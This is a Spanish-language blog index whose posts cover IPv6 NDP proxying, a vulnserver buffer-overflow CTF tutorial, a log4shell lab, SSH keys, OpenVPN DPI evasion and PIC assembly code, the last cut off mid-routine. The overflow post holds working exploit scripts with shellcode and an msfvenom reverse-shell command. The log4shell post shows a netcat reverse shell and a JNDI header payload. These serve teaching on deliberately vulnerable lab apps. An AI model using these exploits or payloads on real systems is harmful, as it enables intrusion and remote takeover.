Posts on devcodenote.gitlab.io

Cómo configurar proxy ndppd (Ubuntu)

Mon, 25 Aug 2025 11:02:44 -0600

Que es NDP Proxy Daemon

Un NDP Proxy es un programa que escucha las Neighbor Solicitation (ICMPv6 tipo 135) en la interfaz WAN, esto se usa cuando tu ISP no da un prefijo mayor a /64 o te dio un /60 y se te acabo, en mi caso solo me dio un /64.

para poder crear otra subnet es necesario otro /64 como se puede observar en la tabla.

IPv6 Subnet Table

Prefix	Subnet Example	Total IP Addresses	# of /64 nets
4	x::	2^124	2^60
8	xx::	2^120	2^56
12	xxx::	2^116	2^52
16	xxxx::	2^112	2^48
20	xxxx:x::	2^108	2^44
24	xxxx:xx::	2^104	2^40
28	xxxx:xxx::	2^100	2^36
32	xxxx:xxxx::	2^96	##########
36	xxxx:xxxx:x::	2^92	268,435,456
40	xxxx:xxxx:xx::	2^88	16,777,216
44	xxxx:xxxx:xxx::	2^84	1,048,576
48	xxxx:xxxx:xxxx::	2^80	65,536
52	xxxx:xxxx:xxxx:x::	2^76	4,096
56	xxxx:xxxx:xxxx:xx::	2^72	256
60	xxxx:xxxx:xxxx:xxx::	2^68	16
64	xxxx:xxxx:xxxx:xxxx::	2^64 (18,446,744,073,709,551,616)	1
68	xxxx:xxxx:xxxx:xxxx:x::	2^60 (1,152,921,504,606,846,976)	0
72	xxxx:xxxx:xxxx:xxxx:xx::	2^56 (72,057,594,037,927,936)	0
76	xxxx:xxxx:xxxx:xxxx:xxx::	2^52 (4,503,599,627,370,496)	0
80	xxxx:xxxx:xxxx:xxxx:xxxx::	2^48 (281,474,976,710,656)	0
84	xxxx:xxxx:xxxx:xxxx:xxxx:x::	2^44 (17,592,186,044,416)	0
88	xxxx:xxxx:xxxx:xxxx:xxxx:xx::	2^40 (1,099,511,627,776)	0
92	xxxx:xxxx:xxxx:xxxx:xxxx:xxx::	2^36 (68,719,476,736)	0
96	xxxx:xxxx:xxxx:xxxx:xxxx:xxxx::	2^32 (4,294,967,296)	0
100	xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:x::	2^28 (268,435,456)	0
104	xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xx::	2^24 (16,777,216)	0
108	xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxx::	2^20 (1,048,576)	0
112	xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx::	2^16 (65,536)	0
116	xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:x::	2^12 (4,096)	0
120	xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xx::	2^8 (256)	0
124	xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxx::	2^4 (16)	0
128	xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx	2^0 (1)	0

IPv6 Subnetting

En algunas ocasiones, es indispensable entender cómo funciona para diagnosticar errores.

NDP Proxy de forma manual

para realizar de forma manual, primero tenemos que asignarle una ipv6 a uno de nuestros clientes, en mi caso cada cliente recibe la ip mediante SLAAC (Stateless Address Auto-Configuration).

para esto primero se tiene que hacer una traducción de dirección, como se puede observar la ip fd78:e9fa:9f28:0:9c0d:dea4:8e6f:7b66 es de tipo ULA (Unique Local Address), esto se hace con ip6tables mediante NETMAP.

NETMAP
This target allows you to statically map a whole network of addresses onto another network of addresses.
It can only be used from rules in the nat table. --to address[/mask]
Network address to map to. The resulting address will be constructed in the following way:
All ‘one’ bits in the mask are filled in from the new address.
All bits that are zero in the mask are filled in from the original address.
IPv6 support available since Linux kernels >= 3.7.

implementacion de NETMAP con IPTABLES

Para implementar NETMAP con ip6tables, debemos conocer el prefijo delegado por el ISP y el prefijo ULA que utilizamos para la traducción. El comando con ip6tables queda de la siguiente forma:

sudo ip6tables -t nat -I POSTROUTING -s fd78:e9fa:9f28::/64 -o eth0 -j NETMAP --to 2806:103e:15:6663::/64
sudo ip6tables -t nat -I PREROUTING -i eth0 -d 2806:103e:15:6663::/64 -j NETMAP --to fd78:e9fa:9f28::/64

una vez realizada la traducción de prefijo los paquetes se ven de la siguiente forma.

ahora se necesita realizar el proxy de Neighbor Solicitation esto se usa para “Un nodo envía un mensaje NS para solicitar la dirección MAC (la dirección física) de un nodo vecino cuya dirección IPv6 conoce”, el proxy hace que el router en el que estamos implementado ndppd proxy responda con un Neighbor Advertisement (NA), entonces primero se envia Neighbor Solicitation después el cliente debe responder con Neighbor Advertisement para posteriormente almacenarse en una tabla de Neighbor Cache Table.

Para lograr esto en el router, añadimos lo siguiente:

sudo ip -6 neigh add proxy 2806:103e:15:6663:9c0d:dea4:8e6f:7b66 dev eth0

# En sysctl hablilitamos proxy_ndp 
sysctl -w net.ipv6.conf.all.proxy_ndp=1
sysctl -w net.ipv6.conf.eth0.proxy_ndp=1

Como se puede observar, ya se realiza la traducción y se responden los paquetes.

Con neigh show se puede ver los proxy activos

ip -6 neigh show proxy dev eth0

Instalacion de ndppd

sudo apt-get install ndppd

la configuración se encuentra en nano /etc/ndppd.conf insertamos esto para una configuración básica, en el caso de rule es el prefijo que nos da el ISP

route-ttl 30000
proxy eth0 {
 router yes
 timeout 500
 ttl 30000
 promiscuous yes
 rule 2806:103e:15:6663::/64 {
 static
 }
}

Con esto, la configuración estaría completa. Para hacer debug se usa:

ndppd -vvv

Que es un buffer overflow (vulnserver) (CFT)

Sat, 07 Jun 2025 10:30:00 -0600

En esta entrada mostrare lo que es un buffer overflow, esta es una falla muy conocida y al mismo tiempo peligrosa en los CFT es común ver este tipo de retos por lo que mostrare como se puede realizar uno básico, para este tipo de vulnerabilidades es necesario tener un poco de conocimiento de cómo se maneja la memoria y asm.

Los dos programas que se van a ocupar son:

x64dbg
IDA
https://github.com/stephenbradshaw/vulnserver

Que es un bufferoverflow?

bufferoverflow se produce cuando se colocan más datos en un búfer de longitud fija de los que el búfer puede manejar. en este caso en la función buffer tiene una variable de tamaño 5 y nuestra cadena tiene una longitud mayora a eso por lo que los datos restantes van a sobre escribir el stack


#include <string.h>

void buffer(char* input) {
 char buffer[5];
 strcpy(buffer, input);
}

int main(int argc, char** argv) {
 char* Vulnerable="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
 buffer(Vulnerable);
}

si compilamos y depuramos vemos que el EIP (puntero de instrucción) no tiene una dirección si no puras “aaaa” en hax

Encontrar la funcion vulnerable

para explotar el buffer overflow en vulnserver sin protecciones es bastante fácil

en este caso remiendo hacer un análisis estático del programa esto es más fácil si se hace desde IDA, el modo grafico nos va a ser de gran ayuda en estos casos para darle seguiento a las funciones

esta es la función de bienvenida por lo que hay que continuar para ver si hay algún comando vulnerable

en este caso la funcion3 es candidata para ser explotada y es llamada por varios comandos, pero más especialmente por TRUN ya es la más fácil

.text:00401808 push ebp
.text:00401809 mov ebp, esp
.text:0040180B sub esp, 7E8h
.text:00401811 mov eax, [ebp+arg_0]
.text:00401814 mov [esp+7E8h+Source], eax ; Source
.text:00401818 lea eax, [ebp+var_7D8]
.text:0040181E mov [esp+7E8h+Destination], eax ; Destination
.text:00401821 call _strcpy
.text:00401826 leave
.text:00401827 retn
.text:00401827 _Function3 endp

esta funcion es vulnerable ya que _strcpy no tiene ninguna “proteccion”

strcpy

Copia la cadena C señalada por la fuente en la matriz señalada por el destino , incluido el carácter nulo de terminación (y deteniéndose en ese punto).

En este caso para probar si es vulnerable vamos intentar enviar cadena de más de 2020 caracteres

#!/usr/bin/python

import socket
import sys

try:
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error:
 sys.exit()
host = '192.168.1.115';
port = 9999;
try:
 remote_ip = socket.gethostbyname( host )
except socket.gaierror:
 sys.exit()
s.connect((remote_ip , port))
command="TRUN _."
message = "a"*2500
exploit=command+message

try :
 s.send(exploit.encode())
except socket.error:
 sys.exit()

reply = s.recv(4096)
print (reply)

Lo que buscamos es que se sobrescriba el ESP y después el EIP y como era de esperarse si se sobre escribió el EIP contiene 616161

Explotacion (cantidad de bytes necesarios)

vamos a contar la cantidad bytes que se necesitan para llegar a esp y no sobrescribirlo en este caso recomiendo poner números aleatorios

lo vamos a ejecutar para obtener la cantidad de bytes necesarios para sobrescribir el EIP

invertimos el orden (Endianness)

30 54 68 37 == 37 68 54 30 == 7hT0

buscamos en el texto y obtenemos que se ocupan 2005 bytes para evitar sobrescribir el EIP

Explotacion (jmp esp)

vamos a buscar alguna instrucción que nos pueda ayudar a ejecutar el contenido en ESP como por ejemplo jmp esp

search in –> all modules –> find command

buscamos jmp esp

Address=625011AF Disassembly=jmp esp

esto lo mandamos a EIP lo invetimos (Endianness)

por lo que nuestro código queda de la siguiente forma


#!/usr/bin/python

import socket
import sys

try:
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error:
 sys.exit()
host = '192.168.1.115';
port = 9999;
try:
 remote_ip = socket.gethostbyname( host )
except socket.gaierror:
 sys.exit()
s.connect((remote_ip , port))
command="TRUN _."
message = "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"
epi="\x62\x50\x11\xAF"
exploit=command+message+epi

try :
 s.send(exploit.encode())
except socket.error:
 sys.exit()
reply = s.recv(4096)
print (reply)

Explotacion (Shellcode calc) y Bad Characters

pueden usar exploitdb para buscar una shellcode calc o usar msfvenom en mi caso voy a usar exploitdb, una cosa que hay que tener en cuenta son los “Bad Characters” como mencione la función strcpy busca bytes nulos para terminar por lo que si nuestra sellcode tiene algun \x00 no va a completar la shellcode y no va a funcionar uno de los métodos mas usados en msvenom es -b msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.109 LPORT=4444 -f c -b '\x00' donde estoy borrando bytes nulos.

https://www.exploit-db.com/exploits/48116


import sys

try:
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error:
 sys.exit()
host = '192.168.1.115';
port = 9999;
try:
 remote_ip = socket.gethostbyname( host )
except socket.gaierror:
 sys.exit()
s.connect((remote_ip , port))
command=b"TRUN _."
message = b"\x90"*2005
nops = b"\x90"*10
shellcode=b"\x89\xe5\x83\xec\x20\x31\xdb\x64\x8b\x5b\x30\x8b\x5b\x0c\x8b\x5b\x1c\x8b\x1b\x8b\x1b\x8b\x43\x08\x89\x45\xfc\x8b\x58\x3c\x01\xc3\x8b\x5b\x78\x01\xc3\x8b\x7b\x20\x01\xc7\x89\x7d\xf8\x8b\x4b\x24\x01\xc1\x89\x4d\xf4\x8b\x53\x1c\x01\xc2\x89\x55\xf0\x8b\x53\x14\x89\x55\xec\xeb\x32\x31\xc0\x8b\x55\xec\x8b\x7d\xf8\x8b\x75\x18\x31\xc9\xfc\x8b\x3c\x87\x03\x7d\xfc\x66\x83\xc1\x08\xf3\xa6\x74\x05\x40\x39\xd0\x72\xe4\x8b\x4d\xf4\x8b\x55\xf0\x66\x8b\x04\x41\x8b\x04\x82\x03\x45\xfc\xc3\xba\x78\x78\x65\x63\xc1\xea\x08\x52\x68\x57\x69\x6e\x45\x89\x65\x18\xe8\xb8\xff\xff\xff\x31\xc9\x51\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x89\xe3\x41\x51\x53\xff\xd0\x31\xc9\xb9\x01\x65\x73\x73\xc1\xe9\x08\x51\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x89\x65\x18\xe8\x87\xff\xff\xff\x31\xd2\x52\xff\xd0"
epi=b"\xAF\x11\x50\x62"
exploit=command+message+epi+nops+shellcode

try :
 s.send(exploit)
except socket.error:
 sys.exit()
reply = s.recv(4096)
print (reply)

Acerca de log4shell

Sat, 07 Jun 2025 10:30:00 -0600

log4shell es una falla en Apache Log4j que permite que atacantes puedan ejecutar comandos maliciosos desde servidores LDAP maliciosos, esta vulnerabilidad en sus principios fue un 0 day y debido a que log4j se encuentra en muchas aplicaciones como minecraft, Struts2, Flink entre otros su impacto ha sido muy grande.

Como Funciona?

Para esta vulnerabilidad en forma de prueba de concepto existe en github una aplicación vulnerable https://github.com/christophetd/log4shell-vulnerable-app

git clone https://github.com/christophetd/log4shell-vulnerable-app.git
docker run --name vulnerable-log4 -p 8081:8080 ghcr.io/christophetd/log4shell-vulnerable-app

una vez descargado vamos analizar el código para ver en qué forma puede ser vulnerable

La parte que nos interesa es:

 @GetMapping("/")
 public String index(@RequestHeader("X-Api-Version") String apiVersion) {
 logger.info("Received a request for API version " + apiVersion);
 return "Hello, world!";
 }

Y en especial esta ya que es la parte vulnerable :


logger.info("Received a request for API version " + apiVersion);

después vamos a necesitar un servidor LDAP que nos permita ejecutar los comandos https://github.com/welk1n/JNDI-Injection-Exploit

java -jar JNDI-Injection-1.0-SNAPSHOT-all.jar -C "nc 172.17.0.1 4444 -e /bin/sh"
nc -lvp 4444

Solo hacemos un http request con el header X-Api-Version y con la dirección que nos proporcionó JNDI Injection

GET / HTTP/1.1
Host: 192.168.1.141:8081
X-Api-Version: ${jndi:ldap://172.17.0.1:1389/zlrpms} 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

debido a que la vulnerabilidad ya se encuentra arreglada en las nuevas versiones de Log4j solo queda actualizar.

Cómo configurar claves SSH en Ubuntu.

Sat, 07 Jun 2025 10:30:00 -0600

En este blog se va a configurar las claves ssh en ubuntu para tener acceso, para este tutorial se va a usar WLS pero se puede hacer desde la consola de windows.

Lo primero es generar la clave en el cliente


ssh-keygen -t rsa -b 4096

una vez realizado nos va a dejar dos archivos

en este caso se va a realizar de manera manual al servidor

para esto nos vamos a la carpeta .ssh

en el archivo authorized_keys agregamos ssh-rsa

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNz261zvu3Ig32cKrdloBMF96gYVHRqVeot4TBWx/lG61V....." >> ~/.ssh/authorized_keys

si nos solicita la contraseña al entrar se puede usar ssh agent

ssh-add

Esto nos evitará insertar la contraseña al iniciar

Cómo instalar un servidor OpenVPN y evadir los firewalls (DPI)

Sat, 07 Jun 2025 10:30:00 -0600

Se mostrará como instalar OpenVPN y como evadir los Firewall que suelen usar Deep Packet Inspection para identificar el tipo de protocolo que son los paquetes, muchos de estos suelen bloquear las conexiones VPN, el funcionamiento se basa en identificar el handshake de OpenVPN entonces si logramos ofuscar el handshake podemos saltarnos esa restricción, por suerte se implemento tls-crypt-v2 lo que reduce significativamente la dificultad.

Instalacion

Lo primero es instalar openvpn y easy-rsa

sudo apt install openvpn easy-rsa

Lo primero configuramos easyrsa

cp -r /usr/share/easy-rsa /etc/
cd /etc/easy-rsa/
./easyrsa init-pki

Generamos el certificado y la clave de la autoridad de certificación

cd /etc/easy-rsa/
./easyrsa build-ca nopass
./easyrsa gen-dh
./easyrsa build-server-full server nopass
openvpn --genkey secret /etc/easy-rsa/pki/ta.key
./easyrsa gen-crl
cp -rp /etc/easy-rsa/pki/{ca.crt,dh.pem,ta.key,crl.pem,issued,private}
/etc/openvpn/server/

Creacion del handshake encryption [tls-crypt-v2]

Entonces nos ubicamos en
cd /etc/openvpn/server
Para generar el cifrado o el cifrado de handsacke para el lado del server es
openvpn --genkey tls-crypt-v2-server handshake_encryption_server.key
Para el lado del cliente es
openvpn --tls-crypt-v2 handshake_encryption_server.key --genkey tls-crypt-v2-client handshake_encryption_client.key

Creacion de los cientes para openvpn

para este caso nos debemos ubicar en la carpeta que copiamos de easyrsa

cd /etc/easy-rsa
./easyrsa build-client-full User1 nopass
./easyrsa build-client-full User2 nopass

Ahora vamos a copiar a los usuarios a la carpeta de openvpn, cada uno en su respectiva carpeta

mkdir /etc/openvpn/client/{User1,User2}
cp -rp /etc/easy-rsa/pki/{ca.crt,issued/User1.crt,private/User1.key} /etc/openvpn/client/User1
cp -rp /etc/easy-rsa/pki/{ca.crt,issued/User2.crt,private/User2.key} /etc/openvpn/client/User2

Editar la configuracion

En este caso es mas facil usar la plantilla de configuracion de OpenVPN

cp /usr/share/doc/openvpn/examples/sample-config-files/server.conf /etc/openvpn/server/
cd /etc/openvpn/server/

Ubicamos los siguientes parámetros y los modificamos un ejemplo:

ca ca.crt
cert issued/server.crt
key private/server.key # This file should be kept secret
dh dh.pem
tls-crypt-v2 handshake_encryption_server.key
push "dhcp-option DNS 1.1.1.1"
tls-auth ta.key 0
log-append /var/log/openvpn/openvpn.log
server-ipv6 fd93:b56d:6365::/64
push "dhcp-option DNS6 2606:4700:4700::1111"
push "dhcp-option DNS6 2606:4700:4700::1001"
push "redirect-gateway ipv6 def1 bypass-dhcp"
push "route-ipv6 fd93:b56d:6365::/64"

Ejecutamos este comando para hablilitar el server y verificamos que este funcionando

sudo systemctl start openvpn-server@server.service
root@i:/etc/openvpn/server# sudo service openvpn-server@server status
● openvpn-server@server.service - OpenVPN service for server
Loaded: loaded (/usr/lib/systemd/system/openvpn-server@.service; disabled; preset: enabled)
Active: active (running) since Wed 2024-10-23 00:55:49 UTC; 4min 39s ago
Docs: man:openvpn(8)
https://openvpn.net/community-resources/reference-manual-for-openvpn-2-6/
https://community.openvpn.net/openvpn/wiki/HOWTO
Main PID: 20333 (openvpn)
Status: "Initialization Sequence Completed"
Tasks: 1 (limit: 482)
Memory: 1.4M (peak: 1.7M)
CPU: 32ms
CGroup: /system.slice/system-openvpn\x2dserver.slice/openvpn-server@server.service
└─20333 /usr/sbin/openvpn --status /run/openvpn-server/status-server.log --status-version 2 --suppress-timestamps --config server.conf
Oct 23 00:55:48 Server systemd[1]: Starting openvpn-server@server.service - OpenVPN service for server...
Oct 23 00:55:49 Server systemd[1]: Started openvpn-server@server.service - OpenVPN service for server.

Crear el ovpn

Los archivospara crear el .ovpn estan en /etc/openvpn/client/User1

root@Server:/etc/openvpn/client/User1# ls
User1.crt User1.key ca.crt

lo mismo con tls-crypt-v2 es el archivo que creamos como handshake_encryption_client.key

 cat handshake_encryption_client.key
-----BEGIN OpenVPN tls-crypt-v2 client key-----
pKYdZklpqoO/XhsJnzn/RX7zTPsqLxgL+0PG3tuzqwyX27IscNXeViVwCwWAYwHU
IdvcrL6AgxgA22QQ.............
-----END OpenVPN tls-crypt-v2 client key-----

Creación del .ovpn

para crear el archivo de ovpn se debe usar el siguiente formato y solo modificar los campos de las claves, certificados y remote.

client
dev tun
proto udp
remote address port
resolv-retry infinite
nobind
persist-key
persist-tun
verb 4
data-ciphers-fallback AES-128-CBC
data-ciphers AES-256-CBC:AES-256-CFB:AES-256-CFB1:AES-256-CFB8:AES-256-OFB:AES-256-GCM
tls-cipher "DEFAULT:@SECLEVEL=0"
auth SHA256
key-direction 1
<ca>
-----BEGIN CERTIFICATE-----
MIIDSzCCAjOgAwIBAgIUAbBDafoK+M02UQCliU5DLxMZ2hQwDQYJKoZIhvcNAQEL
BQAwFjEUMBIGA1UEAwwLRWFzeS1SU0EgQ0EwHhcNMjQxMDIzMDAxODI1WhcNMz....
-----END CERTIFICATE-----
</ca>
<cert>
Certificate:
Data:......
-----BEGIN CERTIFICATE-----
MIIDUzCCAjugAwIBAgIQKEeHa0xsNPRzkQFHiHubCTANBgkqhkiG9w0BAQsFADAW.........
-----END CERTIFICATE-----
</cert>
<key>
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDe8LAxZblRxaDj
8NEaq0Mq4.......
-----END PRIVATE KEY-----
</key>
<tls-crypt-v2>
-----BEGIN OpenVPN tls-crypt-v2 client key-----
pKYdZklpqoO/XhsJnzn/RX7zTPsqLxgL+0PG3tuzqwyX27IscNXeViVwCwWAYwHU.
Idvc.................
-----END OpenVPN tls-crypt-v2 client key-----
</tls-crypt-v2>

sysctl net.ipv4.ip_forward=1
iptables -t nat -I POSTROUTING -o ens5 -j MASQUERADE

Deteccion por Deep Packet Inspection (DPI)

Los firewall usan Deep Packet Inspection para reconocer ciertos protocolos

Desde ver el SNI en el Hello Client, identificar P2P, SSH, QUIC, etc.

En este caso se detectó la conexión de openvpn y esto se debe a que el handshake tiene patrones muy reconocibles.

Lo primero que tenemos que hacer es cambiar el puerto porque el puerto default es de openvpn.

en la configuración usamos tls-crypt-v2 que nos permite ofuscar el handshake de openvpn.

podemos ver la documentacion de tls-crypt-v2

https://github.com/OpenVPN/openvpn/blob/master/doc/tls-crypt-v2.txt

ls-crypt-v2 uses an encrypted cookie mechanism to introduce client-specific tls-crypt keys without introducing a lot of server-side state. The client-specific key is encrypted using a server key. The server key is the same for all servers in a group. When a client connects, it first sends the encrypted key to the server, such that the server can decrypt the key and all messages can thereafter be encrypted using the client-specific key.

A wrapped (encrypted and authenticated) client-specific key can also contain metadata. The metadata is wrapped together with the key, and can be used to allow servers to identify clients and/or key validity. This allows the server to abort the connection immediately after receiving the first packet, rather than performing an entire TLS handshake. Aborting the connection this early greatly improves the DoS resilience and reduces attack surface against malicious clients that have the tls-crypt or tls-auth key. This is particularly relevant for large deployments (think lost key or disgruntled employee) and VPN providers (clients are not trusted).

Una vez que usamos tls-crypt-v2 ya no es detecatdo por el Deep Packet Inspection

contador ascendente y descendente con Display de 7 Segmentos para PIC18F4550 en Ensamblador

Sat, 07 Jun 2025 10:30:00 -0600

En este proyecto se va a desarrollar un contador ascendente y descendente utilizando el microcontrolador PIC18F4550 en ensamblador. usando un Display de 7 Segmentos para mostrar los valores del contador en orden ascendente y descendente.

algunos de los pasos se expican en el contador automatico que se encuentra en

https://devnotescode.com/Pages?id=677437501f54d06c6ecb8012



LIST P = 18F4550
INCLUDE <P18F4550.INC>
;contador de cambio automatico 
;************************************************************
CONFIG FOSC = HS
CONFIG PWRT = ON
CONFIG BOR = OFF
CONFIG WDT = OFF
CONFIG MCLRE = ON
CONFIG PBADEN = OFF
CONFIG LVP = OFF
CONFIG DEBUG = OFF
CONFIG XINST = OFF
; CODE ******************************************************


ORG 0x00 ;Iniciar el programa en el registro 0x00
 movlw 0xFF ; 
 movwf TRISC
 movlw 0x00 ; 
 movwf TRISB
; variables
 Counter1 equ 0x20
 Counter2 equ 0x21 ; 

 sa equ 0x22
 movlw 0x00
 movwf sa
main:
 ;--------------------------------------------------------------------
 call revisarintoverflow
 call revisiondecondicion
 ;--------------------------------------------------------------------

 ;incf sa, f aumenta
 ;decf sa, f decrementa 
 call controldebotones
 call DelayLoop2 ;
 goto main
 return
uno:
 movlw 0xFF ; Establece todos los pines del puerto B en alto
 movwf LATB
 bcf LATB, 1
 bcf LATB, 2
 return

dos:
 movlw 0xFF ; Establece todos los pines del puerto B en alto
 movwf LATB
 bcf LATB, 0
 bcf LATB, 1
 bcf LATB, 6
 bcf LATB, 4
 bcf LATB, 3
 return


tres:
 movlw 0xFF ; Establece todos los pines del puerto B en alto
 movwf LATB
 bcf LATB, 0
 bcf LATB, 1
 bcf LATB, 6
 bcf LATB, 2
 bcf LATB, 3
 return

cuatro:
 movlw 0xFF ; Establece todos los pines del puerto B en alto
 movwf LATB
 bcf LATB, 5
 bcf LATB, 6
 bcf LATB, 1
 bcf LATB, 2
 return
cinco:
 movlw 0xFF ; Establece todos los pines del puerto B en alto
 movwf LATB
 bcf LATB, 0
 bcf LATB, 5
 bcf LATB, 6
 bcf LATB, 2
 bcf LATB, 7
 bcf LATB, 3
 return
seis:
 movlw 0xFF ; Establece todos los pines del puerto B en alto
 movwf LATB
 bcf LATB, 0
 bcf LATB, 5
 bcf LATB, 6
 bcf LATB, 2
 bcf LATB, 7
 bcf LATB, 4
 bcf LATB, 3
 return
siete:
 movlw 0xFF ; Establece todos los pines del puerto B en alto
 movwf LATB
 bcf LATB, 0
 bcf LATB, 1
 bcf LATB, 2
 return
ocho:
 movlw 0xFF ; Establece todos los pines del puerto B en alto
 movwf LATB
 bcf LATB, 0
 bcf LATB, 1
 bcf LATB, 2
 bcf LATB, 3
 bcf LATB, 4
 bcf LATB, 5
 bcf LATB, 6
 return
nueve:
 movlw 0xFF ; Establece todos los pines del puerto B en alto
 movwf LATB
 bcf LATB, 0
 bcf LATB, 1
 bcf LATB, 5
 bcf LATB, 6
 bcf LATB, 2
 return
cero:
 movlw 0xFF ; Establece todos los pines del puerto B en alto
 movwf LATB
 bcf LATB, 0
 bcf LATB, 1
 bcf LATB, 2
 bcf LATB, 3
 bcf LATB, 4
 bcf LATB, 5
 return
a:
 movlw 0xFF
 movwf LATB
 bcf LATB, 0
 bcf LATB, 1
 bcf LATB, 2
 bcf LATB, 3
 bcf LATB, 4
 bcf LATB, 6
 return
b:
 movlw 0xFF
 movwf LATB
 bcf LATB, 2
 bcf LATB, 3
 bcf LATB, 4
 bcf LATB, 5
 bcf LATB, 6
 return
c:
 movlw 0xFF
 movwf LATB
 bcf LATB, 3
 bcf LATB, 4
 bcf LATB, 6
 return
d:
 movlw 0xFF
 movwf LATB
 bcf LATB, 1
 bcf LATB, 2
 bcf LATB, 3
 bcf LATB, 4
 bcf LATB, 6
 return
e:
 movlw 0xFF
 movwf LATB
 bcf LATB, 0
 bcf LATB, 3
 bcf LATB, 4
 bcf LATB, 5
 bcf LATB, 6
 return
f:
 movlw 0xFF
 movwf LATB
 bcf LATB, 0
 bcf LATB, 5
 bcf LATB, 6
 bcf LATB, 4
 return
 ;--------------------------------- Genera un sleep aprox 2 segundos
 Delay2s:
 movlw D'50'
 movwf Counter1
DelayLoop1:
 movlw D'200'
 movwf Counter2
DelayLoop2:
 nop
 nop
 decfsz Counter2, f
 goto DelayLoop2
 decfsz Counter1, f
 goto DelayLoop1
 return
;-----------------------------------------------------------
revisiondecondicion:
 call esun1
 call esun2
 call esun3
 call esun4
 call esun5
 call esun6
 call esun7
 call esun8
 call esun9
 call esun0
 call esunA
 call esunB
 call esunC
 call esunE
 call esunF
 return

esun1:
 nop
 MOVLW 1
 SUBWF sa, W
 BTFSS STATUS, Z
 return ;// esto es !=
 CALL uno
 return
esun2:
 nop
 MOVLW 2
 SUBWF sa, W
 BTFSS STATUS, Z
 return
 CALL dos
 return
esun3:
 nop
 MOVLW 3
 SUBWF sa, W
 BTFSS STATUS, Z
 return
 CALL tres
 return
